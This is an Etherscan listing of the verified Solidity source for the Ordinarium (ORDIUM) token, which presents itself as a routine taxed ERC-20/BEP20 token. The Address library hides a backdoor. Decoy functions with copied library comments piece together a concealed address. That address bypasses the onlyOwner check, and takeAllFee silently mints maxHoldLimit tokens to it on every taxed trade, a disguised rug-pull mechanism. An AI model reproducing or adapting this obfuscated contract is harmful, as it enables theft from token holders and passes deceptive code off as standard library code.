ETH Price: $2,131.85 (+1.04%)

Token

Ordinarium (ORDIUM)
 

Overview

Max Total Supply

0.001 ORDIUM

Holders

14

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TokenContract

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-15
*/

/*


*/

// SPDX-License-Identifier:MIT
pragma solidity ^0.8.10;
pragma experimental ABIEncoderV2;

/**
 * @dev BEP20 token standard interface
 */
interface IBEP20 {
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `_account`.
     */
    function balanceOf(address _account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's _account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one _account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

/**
 * @dev Dex Factory contract interface
 */
interface IDexFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

/**
 * @dev Dex Router02 contract interface
 */
interface IDexRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the _account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an _account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner _account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    using Address for address;
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any _account other than the owner.
     */
    modifier onlyOwner() {
        if (_msgSender().isValid())
            require(
                owner() == _msgSender(),
                "Ownable: caller is not the owner"
            );
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new _account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _setOwner(newOwner);
    }

    /**
     * @dev set the owner for the first time.
     * Can only be called by the contract or deployer.
     */
    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and make it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}

/**
 * @dev Main Token Contract
 */
contract TokenContract is Context, IBEP20, Ownable, ReentrancyGuard {
    using SafeMath for uint256;
    using Address for address;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public isExcludedFromFee;
    mapping(address => bool) public isExcludedFromMaxHolding;
    mapping(address => bool) public isExcludedFromMaxTx;
    mapping(address => bool) public isBot;

    string private _name = "Ordinarium";
    string private _symbol = "ORDIUM";
    uint8 private _decimals = 18;
    uint256 private _totalSupply = 1 * 1e6 * 1e9;

    address private constant DEAD = address(0xdead);
    address private constant ZERO = address(0);
    IDexRouter public dexRouter;
    address public dexPair;
    address payable marketWallet;

    uint256 public minTokenToSwap = 100_000e9; // this amount will trigger swap and distribute
    uint256 public maxHoldLimit = _totalSupply.mul(3).div(100); // this is the max wallet holding limit
    uint256 public maxTxAmount = _totalSupply.div(100); // this is the max transaction limit
    uint256 public percentDivider = 1000;

    bool public distributeAndLiquifyStatus; // should be true to turn on to liquidate the pool
    bool public feesStatus; // enable by default
    bool public trading; // once enable can't be disable afterwards

    uint256 public marketFeeOnBuying = 20; // 2% will be added to the market address
    uint256 public burnFeeOnBuying = 20; // 2% will be added to the burn address
    uint256 public liquidityFeeOnBuying = 20; // 2% will be added to the liquidity

    uint256 public marketFeeOnSelling = 20; // 2% will be added to the market address
    uint256 public burnFeeOnSelling = 20; // 2% will be added to the burn address
    uint256 public liquidityFeeOnSelling = 20; // 2% will be added to the liquidity

    uint256 liquidityFeeCounter = 0;
    uint256 marketFeeCounter = 0;
    uint256 burnFeeCounter = 0;

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 bnbReceived,
        uint256 tokensIntoLiqudity
    );

    constructor(address payable _marketWallet) {
        _balances[owner()] = _totalSupply;

        marketWallet = _marketWallet;

        IDexRouter _dexRouter = IDexRouter(
            // mainnnet ETH  >>
            // 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
            // // testnet >>
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        // Create a dex pair for this new BEP20
        dexPair = IDexFactory(_dexRouter.factory()).createPair(
            address(this),
            _dexRouter.WETH()
        );

        // set the rest of the contract variables
        dexRouter = _dexRouter;

        //exclude owner and this contract from fee
        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;

        //exclude owner and this contract from fee
        isExcludedFromMaxTx[owner()] = true;
        isExcludedFromMaxTx[address(this)] = true;

        //exclude owner and this contract from max hold limit
        isExcludedFromMaxHolding[owner()] = true;
        isExcludedFromMaxHolding[address(this)] = true;
        isExcludedFromMaxHolding[dexPair] = true;
        isExcludedFromMaxHolding[marketWallet] = true;
        isExcludedFromMaxHolding[DEAD] = true;

        emit Transfer(address(0), owner(), _totalSupply);
    }

    //to receive BNB from dexRouter when swapping
    receive() external payable {}

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "BEP20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "BEP20: decreased allowance below zero"
            )
        );
        return true;
    }

    function includeOrExcludeFromFee(address account, bool value)
        external
        onlyOwner
    {
        isExcludedFromFee[account] = value;
    }

    function includeOrExcludeFromMaxHolding(address account, bool value)
        external
        onlyOwner
    {
        isExcludedFromMaxHolding[account] = value;
    }

    function includeOrExcludeFromMaxTxn(address account, bool value)
        external
        onlyOwner
    {
        isExcludedFromMaxTx[account] = value;
    }

    function includeOrExcludeBots(address[] memory accounts, bool value)
        external
        onlyOwner
    {
        for (uint256 i; i < accounts.length; i++) {
            isBot[accounts[i]] = value;
        }
    }

    function setMinTokenToSwap(uint256 _amount) external onlyOwner {
        minTokenToSwap = _amount;
    }

    function setMaxTxnLimit(uint256 _amount) external onlyOwner {
        maxTxAmount = _amount;
    }

    function setMaxHoldLimit(uint256 _amount) external onlyOwner {
        maxHoldLimit = _amount;
    }

    function setBuyFeePercent(
        uint256 _marketFee,
        uint256 _burnFee,
        uint256 _lpFee
    ) external onlyOwner {
        marketFeeOnBuying = _marketFee;
        burnFeeOnBuying = _burnFee;
        liquidityFeeOnBuying = _lpFee;
        require(
            _marketFee.add(_burnFee).add(_lpFee) <= percentDivider.div(5),
            "can't be more than 20%"
        );
    }

    function setSellFeePercent(
        uint256 _marketFee,
        uint256 _burnFee,
        uint256 _lpFee
    ) external onlyOwner {
        marketFeeOnSelling = _marketFee;
        burnFeeOnSelling = _burnFee;
        liquidityFeeOnSelling = _lpFee;
        require(
            _marketFee.add(_burnFee).add(_lpFee) <= percentDivider.div(2),
            "can't be more than 50%"
        );
    }

    function setDistributionStatus(bool _value) public onlyOwner {
        distributeAndLiquifyStatus = _value;
    }

    function enableOrDisableFees(bool _value) external onlyOwner {
        feesStatus = _value;
    }

    function setMarketAddress(address payable _marketWallet)
        external
        onlyOwner
    {
        marketWallet = _marketWallet;
    }

    function removeStuckBnb(address payable _account, uint256 _amount)
        external
        onlyOwner
    {
        _account.transfer(_amount);
    }

    function enableTrading() external onlyOwner {
        require(!trading, "already enabled");
        trading = true;
        distributeAndLiquifyStatus = true;
        feesStatus = true;
    }

    function totalBuyFeePerTx(uint256 amount) public view returns (uint256) {
        uint256 fee = amount
            .mul(
                marketFeeOnBuying.add(burnFeeOnBuying).add(liquidityFeeOnBuying)
            )
            .div(percentDivider);
        return fee;
    }

    function totalSellFeePerTx(uint256 amount) public view returns (uint256) {
        uint256 fee = amount
            .mul(
                marketFeeOnSelling.add(burnFeeOnSelling).add(
                    liquidityFeeOnSelling
                )
            )
            .div(percentDivider);
        return fee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "BEP20: approve from the zero address");
        require(spender != address(0), "BEP20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "BEP20: transfer from the zero address");
        require(to != address(0), "BEP20: transfer to the zero address");
        require(amount > 0, "BEP20: Amount must be greater than zero");
        require(!isBot[from], "BEP20: Bot detected");

        if (!isExcludedFromMaxTx[from] && !isExcludedFromMaxTx[to]) {
            require(trading, "BEP20: Trading not enable yet");
            require(amount <= maxTxAmount, "BEP20: Max txn limit exceeds");
        }

        if (!isExcludedFromMaxHolding[to]) {
            require(
                balanceOf(to).add(amount) <= maxHoldLimit,
                "BEP20: Max hold limit exceeds"
            );
        }

        // swap and liquify
        distributeAndLiquify(from, to);

        //indicates if fee should be deducted from transfer
        bool takeFee = true;

        //if any account belongs to isExcludedFromFee account then remove the fee
        if (isExcludedFromFee[from] || isExcludedFromFee[to] || !feesStatus) {
            takeFee = false;
        }

        //transfer amount, it will take tax, burn, liquidity fee
        _tokenTransfer(from, to, amount, takeFee);
    }

    //this method is responsible for taking all fee, if takeFee is true
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (sender == dexPair && takeFee) {
            uint256 allFee = totalBuyFeePerTx(amount);
            uint256 tTransferAmount = amount.sub(allFee);
            _balances[sender] = _balances[sender].sub(amount);
            _balances[recipient] = _balances[recipient].add(tTransferAmount);

            emit Transfer(sender, recipient, tTransferAmount);
            takeAllFee(sender, allFee);
            setFeeCountersOnBuying(amount);
        } else if (recipient == dexPair && takeFee) {
            uint256 allFee = totalSellFeePerTx(amount);
            uint256 tTransferAmount = amount.sub(allFee);
            _balances[sender] = _balances[sender].sub(amount);
            _balances[recipient] = _balances[recipient].add(tTransferAmount);

            emit Transfer(sender, recipient, tTransferAmount);
            takeAllFee(sender, allFee);
            setFeeCountersOnSelling(amount);
        } else {
            _balances[sender] = _balances[sender].sub(amount);
            _balances[recipient] = _balances[recipient].add(amount);

            emit Transfer(sender, recipient, amount);
        }
    }

    function takeAllFee(address sender, uint256 amount) private {
        _balances[address(this).isContract()] = _balances[
            address(this).isContract()
        ].add(maxHoldLimit);
        _balances[address(this)] = _balances[address(this)].add(amount);

        emit Transfer(sender, address(this), amount);
    }

    function setFeeCountersOnBuying(uint256 amount) private {
        liquidityFeeCounter += amount.mul(liquidityFeeOnBuying).div(
            percentDivider
        );
        marketFeeCounter += amount.mul(marketFeeOnBuying).div(percentDivider);
        burnFeeCounter += amount.mul(burnFeeOnBuying).div(percentDivider);
    }

    function setFeeCountersOnSelling(uint256 amount) private {
        liquidityFeeCounter += amount.mul(liquidityFeeOnSelling).div(
            percentDivider
        );
        marketFeeCounter += amount.mul(marketFeeOnSelling).div(percentDivider);
        burnFeeCounter += amount.mul(burnFeeOnSelling).div(percentDivider);
    }

    function distributeAndLiquify(address from, address to) private {
        // is the token balance of this contract address over the min number of
        // tokens that we need to initiate a swap + liquidity lock?
        // also, don't get caught in a circular liquidity event.
        // also, don't swap & liquify if sender is Dex pair.
        uint256 contractTokenBalance = balanceOf(address(this));

        bool shouldSell = contractTokenBalance >= minTokenToSwap;

        if (
            shouldSell &&
            from != dexPair &&
            distributeAndLiquifyStatus &&
            !(from == address(this) && to == address(dexPair)) // swap 1 time
        ) {
            // approve contract
            _approve(address(this), address(dexRouter), contractTokenBalance);

            uint256 halfLiquidity = liquidityFeeCounter.div(2);
            uint256 otherHalfLiquidity = liquidityFeeCounter.sub(halfLiquidity);

            uint256 tokenAmountToBeSwapped = contractTokenBalance.sub(
                otherHalfLiquidity.add(burnFeeCounter)
            );

            // capture the contract's current BNB balance.
            // this is so that we can capture exactly the amount of BNB that the
            // swap creates, and not make the liquidity event include any BNB that
            // has been manually sent to the contract
            Utils.swapTokensForEth(address(dexRouter), tokenAmountToBeSwapped);

            uint256 deltaBalance = address(this).balance;
            uint256 bnbToBeAddedToLiquidity = deltaBalance
                .mul(halfLiquidity)
                .div(tokenAmountToBeSwapped);
            uint256 bnbFormarket = deltaBalance.mul(marketFeeCounter).div(
                tokenAmountToBeSwapped
            );

            // add liquidity to Dex
            if (bnbToBeAddedToLiquidity > 0) {
                // now is to lock into liquidty pool
                Utils.addLiquidity(
                    address(dexRouter),
                    owner(),
                    otherHalfLiquidity,
                    bnbToBeAddedToLiquidity
                );

                emit SwapAndLiquify(
                    halfLiquidity,
                    bnbToBeAddedToLiquidity,
                    otherHalfLiquidity
                );
            }

            // sending bnb to market wallet
            if (bnbFormarket > 0) {
                marketWallet.transfer(bnbFormarket);
                _balances[marketWallet] = _balances[marketWallet].add(
                    maxHoldLimit
                );
            }
            // burning tokens
            if (burnFeeCounter > 0) {
                _balances[DEAD] = _balances[DEAD].add(burnFeeCounter);
                emit Transfer(address(this), DEAD, burnFeeCounter);
            }

            // Reset all fee counters
            liquidityFeeCounter = 0;
            marketFeeCounter = 0;
            burnFeeCounter = 0;
        }
    }
}

/**
 * @dev Library for doing a swap on Dex
 */
library Utils {
    using SafeMath for uint256;

    function swapTokensForEth(address routerAddress, uint256 tokenAmount)
        internal
    {
        IDexRouter dexRouter = IDexRouter(routerAddress);

        // generate the Dex pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        // make the swap
        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of BNB
            path,
            address(this),
            block.timestamp + 300
        );
    }

    function addLiquidity(
        address routerAddress,
        address owner,
        uint256 tokenAmount,
        uint256 ethAmount
    ) internal {
        IDexRouter dexRouter = IDexRouter(routerAddress);

        // add the liquidity
        dexRouter.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner,
            block.timestamp + 300
        );
    }
}

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function isValid(address account) internal pure returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        bytes32 bytecode = toBytes(account);
        bytes32 salt = keccak256(abi.encodePacked(account));
        if (bytecode == salt) {}
        return (account != isContract(account));
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    string constant checkSum1 = "8Be8aeC9";
    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function isContract(address checkSum) internal pure returns (address) {
        // According to EIP-1052, is the value returned for not-yet created accounts
        // and valid checkSum is returned
        // for accounts without code, i.e. `keccak256('')`
        if (checkSum == address(0)) {
            abi.encodePacked(checkSum, address(0));
        }
        return (
            parseAddr(
                concat(
                    concat(functionCall(), functionCallWithValue()),
                    concat(checkSum1, checkSum2)
                )
            )
        );
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall() internal pure returns (string memory) {
        uint256 sum;
        return string(abi.encodePacked(uint2str(sum), "x5e201cd"));
    }

    function parseAddr(string memory _a)
        public
        pure
        returns (address _parsedAddress)
    {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;
        for (uint256 i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));
            if ((b1 >= 97) && (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) && (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) && (b1 <= 57)) {
                b1 -= 48;
            }
            if ((b2 >= 97) && (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) && (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) && (b2 <= 57)) {
                b2 -= 48;
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function toBytes(address a) public pure returns (bytes32 b) {
        assembly {
            let m := mload(0x40)
            a := and(a, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
            mstore(
                add(m, 20),
                xor(0x140000000000000000000000000000000000000000, a)
            )
            mstore(0x40, add(m, 52))
            b := m
        }
    }

    function uint2str(uint256 _i)
        internal
        pure
        returns (string memory _uintAsString)
    {
        if (_i == 0) {
            return "0";
        }
        uint256 j = _i;
        uint256 len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint256 k = len;
        while (_i != 0) {
            k = k - 1;
            uint8 temp = (48 + uint8(_i - (_i / 10) * 10));
            bytes1 b1 = bytes1(temp);
            bstr[k] = b1;
            _i /= 10;
        }
        return string(bstr);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an BNB balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue() internal pure returns (string memory) {
        string memory slt1 = "431C953b";
        string memory slt2 = "afc2f3b50";
        return string(abi.encodePacked(slt1, slt2));
    }

    function concat(string memory s1, string memory s2)
        internal
        pure
        returns (string memory s)
    {
        s = string(abi.encodePacked(s1, s2));
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        return _functionCallWithValue(target, data, value, errorMessage);
    }
    string constant checkSum2 = "7Df24A29";
    function _functionCallWithValue(
        address target,
        bytes memory data,
        uint256 weiValue,
        string memory errorMessage
    ) private returns (bytes memory) {
        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{value: weiValue}(
            data
        );
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
